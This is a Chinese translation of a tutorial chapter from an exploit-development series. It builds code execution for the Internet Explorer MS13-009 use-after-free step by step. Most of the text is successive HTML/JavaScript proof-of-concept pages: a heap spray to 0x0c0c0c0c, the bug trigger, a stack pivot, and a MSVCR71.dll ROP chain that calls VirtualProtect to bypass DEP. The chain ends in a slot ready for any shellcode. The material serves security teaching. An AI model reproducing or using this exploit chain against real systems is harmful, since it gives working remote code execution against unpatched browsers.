- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
MS13-009 代码执行
走得挺远了!把这些内容放在一起我们就可以开启代码执行之旅了。首先创建我们新的 POC,它包含了堆喷射以及触发漏洞的代码。
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
从下面的截图可以看到,我们覆盖了 EIP 为 0x90909090,这是因为 EIP 从 0x0c0c0c0c+0x70=0x0c0c0c7c 中获取了 DWORD 值,它指向我们的 nopslide。
这一开始会有点困惑,下面的图示会帮助你理清!
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx] /// eax = 0x0c0c0c0c
3cf76982 8b5070 mov edx,dword ptr [eax+70h] /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2 call edx /// call DWORD 0x0c0c0c7c
________________________
| |
| Padding |
| |
| |
| |
| |
| |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
| Shellcode | variable.
|------------------------|
| |
| |
| NOP's |
| |
| | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
| | address, in this case 0x90909090.
| |
| |
| |
| |
| |
| (0x1000 Block) |
|________________________|
让我们尝试把 shellcode 进行 padding 从而让它精准的覆盖 EIP。我们可以通过预置一个缓冲区长度为 0x70 的 unescape ASCII 字符串来实现(112-bytes = 28-DWORD’s)。
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+ // Padding 0x70 hex!
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
如期所致,我们完美的控制了 EIP。提醒一下,EIP 的值是小端字节序。
0x1000 块的新布局如下。
________________________
| |
| Padding |
| |
| |
| |
| |
| |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
| | variable.
| |
| Shellcode |
| |
| |
| |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
| | address.
| |
| NOP's |
| |
| |
| |
| (0x1000 Block) |
|________________________|
完美!现在我们不得不面对下一个障碍。我们的 ROP 链和 shellcode 会放在堆上,但是我们的栈指针(=ESP)指向了 mshtml 的某处。任何 ROP gadget 执行后都将返回到下一个栈上的地址因此我们需要劫持栈(Stack Pivot),把栈从 mshtml 的某处劫持到我们控制的堆上来(0x1000 字节块)。你可能记得 EAX 指向了 shellcode 的起始,因此如果我们找到了一个 ROP gadget 可以将 EAX 交换给 ESP 的话(mov esp,eax/xchg eax,esp),我们就可以实现栈劫持并从 0x0c0c0c0c 地址处开始执行 ROP 链了。
我将从 MSVCR71.dll 中使用 ROP gadgets,它是 java6 的包,会被 IE 自动加载。我通过 mona 生成了两个文本文件:
- MSVCR71_rop_suggestions.txt 包含了各种主题组织成的 ROP gadgets 列表
- MSVCR71_rop.txt 包含了原始的 ROP gadgets 列表
如果你想要玩玩的话我建议你去下载这些文件并用正则来解析它们。
MSVCR71_rop_suggestions.txt - here
MSVCR71_rop.txt - here
通过解析文本文件,我们可以简单的搜索到想要的 gadget,让我们修改 POC,验证一下是否已然万事俱备。
译者注:stack pivot 是个偷梁换柱的技术,把堆变成栈,然后在堆上放置的 ROP 链就发挥作用了。但利用后是否要进行复原操作,或者遗留副作用,则要具体情况具体分析了。另外,作者之所以仅用 MSVCR71.dll 来生成 ROP,是因为这个 dll 没有开启 ASLR,这就为 ROP 链的地址硬编码提供了稳定性。后期的 IE 可能找不到没有开启 ASLR 的模块,通过利用未开启 ASLR 的模块来绕过 ASLR 已经不适用了,但这并不代表无计可施,最常见的,我们可以找到某个可以 leak info 的地方,比如 leak 处某个对象的虚表地址,利用虚表地址在模块中的偏移就可以获取该模块的基地址(ASLR 变的是基地址,但虚表的相对偏移不会变),此时就可以利用这个模块的 ROP gadgets 了。
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u4242%u4242'+ // EIP will be overwritten with 0x42424242 (= BBBB)
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
从截图中可以看到命中了 xchg eax, esp 指令,如果我们继续执行的话,就可以成功的劫持栈并执行 0x0c0c0c0c 的第一个 DWORD 了。
目前已基本搞定。我们现在需要执行 ROP 链去禁止一个内存区域的 DEP 保护,此后我们就可以执行第二个舞台上防止的 payload 了。幸运的是,MSVCR71.dll 已经被攻击者反复滥用过,该 dll 有一个优化过的 ROP 链可用,它由 corelanc0d3r here 创建。让我们把这个 ROP 链插入到 POC 中并重新运行 exp。
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
//--------------------------------------------------------[ROP]-//
// Generic ROP-chain based on MSVCR71.dll
//--------------------------------------------------------------//
"%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
"%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
"%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
"%uffff%uffff" + // 0xffffffff :
"%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
"%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
"%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
"%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
"%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
"%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
"%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
"%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
"%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp # ret " [msvcr71.dll]
//-------------------------------------------------[ROP Epilog]-//
// After calling VirtalProtect() we are left with some junk.
//--------------------------------------------------------------//
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" + // Junk
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
//-------------------------------------------[EIP - Stackpivot]-//
// EIP = 0x7c342643 # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------------------//
"%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
从截图中我们可以看到我们在栈劫持后成功命中了第一个 gadget,在调用 VirtualProtect 后直达我们留下来的 junk 处。
现在剩下的就是在 junk buffer 的最后插入一个短跳转,跳过我们的初始化 EIP 覆盖位置(XCHG EAX,ESP #RETN)。这里可以放任何 shellcode,在短跳转后就得以执行!
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
//--------------------------------------------------------[ROP]-//
// Generic ROP-chain based on MSVCR71.dll
//--------------------------------------------------------------//
"%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
"%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
"%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
"%uffff%uffff" + // 0xffffffff :
"%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
"%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
"%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
"%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
"%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
"%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
"%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
"%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
"%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp # ret " [msvcr71.dll]
//-------------------------------------------------[ROP Epilog]-//
// After calling VirtalProtect() we are left with some junk.
//--------------------------------------------------------------//
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" + // Junk
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
//-------------------------------------------[EIP - Stackpivot]-//
// EIP = 0x7c342643 # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------------------//
"%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
执行短跳转后,我们跳到了覆盖 EIP 的位置正后方,我们现在就可以执行任何选择的 shellcode 了。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论